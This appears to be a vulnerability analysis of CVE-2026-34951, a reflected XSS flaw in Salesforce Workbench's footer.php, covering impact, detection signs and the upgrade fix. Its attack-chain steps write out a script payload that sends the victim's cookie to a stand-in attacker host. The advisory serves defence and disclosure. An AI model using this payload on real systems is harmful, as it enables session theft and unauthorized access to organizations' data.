CVE-2026-34951: 
Homebrew vulnerability analysis and mitigation

CVE-2026-34951 is a reflected cross-site scripting (XSS) vulnerability in Salesforce Workbench, a suite of tools for administrators and developers to interact with Salesforce.com organizations via the Force.com APIs. The vulnerability exists in footer.php via the footerScripts parameter, which does not sanitize user-supplied input before rendering it in the page response, specifically targeting error pages. All Workbench versions prior to 65.0.0 are affected; the issue was published on April 6, 2026, and fixed in version 65.0.0. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, Red Hat).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the footerScripts parameter in footer.php is reflected directly into the HTML page response without sanitization or encoding. This is a reflected XSS pattern (CAPEC-591), meaning the malicious payload is delivered via a crafted URL and executed in the victim's browser when they visit the link. No authentication is required by the attacker, but user interaction (clicking a malicious link) is necessary for exploitation. The changed scope classification indicates the injected script can affect security domains beyond the vulnerable application itself (GitHub Advisory).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of an authenticated Workbench user (administrator or developer), potentially leading to session token theft, credential harvesting, and phishing attacks. Because Workbench provides direct access to Salesforce.com organizations via the Force.com APIs, a compromised session could result in unauthorized access to sensitive Salesforce data and administrative functions. Availability is not directly impacted, but confidentiality and integrity of the vulnerable system are both rated as low impact (GitHub Advisory, Red Hat).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of publication (GitHub Advisory). The EPSS score is approximately 0.047%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify publicly accessible Salesforce Workbench instances running versions prior to 65.0.0, using search engines or network scanning tools targeting known Workbench deployment URLs.
2. Craft malicious URL: Construct a URL targeting the Workbench error page endpoint that includes a malicious JavaScript payload in the footerScripts parameter, e.g., https://<workbench-host>/footer.php?footerScripts=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Deliver the link: Send the crafted URL to a target Workbench administrator or developer via phishing email, social engineering, or embedding it in a trusted communication channel.
4. Victim interaction: When the victim clicks the link and loads the error page in their authenticated browser session, the unsanitized footerScripts parameter is reflected into the page response and the injected script executes.
5. Session hijacking: The attacker's script exfiltrates the victim's session token or credentials to an attacker-controlled server, enabling unauthorized access to the victim's Salesforce.com organization via the Force.com APIs (GitHub Advisory).

• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after accessing a Workbench URL containing encoded script tags or JavaScript in the footerScripts query parameter.
• Logs: Web server access logs showing GET or POST requests to footer.php (or error page endpoints) with URL-encoded <script> tags, JavaScript URIs, or event handler attributes in the footerScripts parameter value.
• Logs: Browser-side console errors or network requests to attacker-controlled domains originating from Workbench pages.
• File System: No file system artifacts expected for reflected XSS; exploitation is transient and browser-side.
• Process/Session: Unexpected API calls to Salesforce Force.com APIs from unfamiliar IP addresses or at unusual times, potentially indicating session token reuse after theft (GitHub Advisory).

Upgrade Salesforce Workbench to version 65.0.0 or later, which resolves the vulnerability by sanitizing user-supplied input in the footerScripts parameter before rendering it in page responses (GitHub Advisory). As interim mitigations, implement a Content Security Policy (CSP) header to restrict script execution sources, and apply output encoding for all user-supplied parameters rendered in HTML responses. Administrators and developers should be cautious about clicking links to Workbench from untrusted sources and should verify URLs before accessing the application.

The vulnerability was credited to researcher TheRealShakesbear and published as a GitHub Security Advisory (GHSA-j94x-h584-rjf9) on March 31, 2026, by maintainer jonnyhork (GitHub Advisory). Red Hat also tracked the CVE in their security advisory database (Red Hat). No significant broader media coverage or notable community discussion has been observed beyond standard vulnerability database aggregation.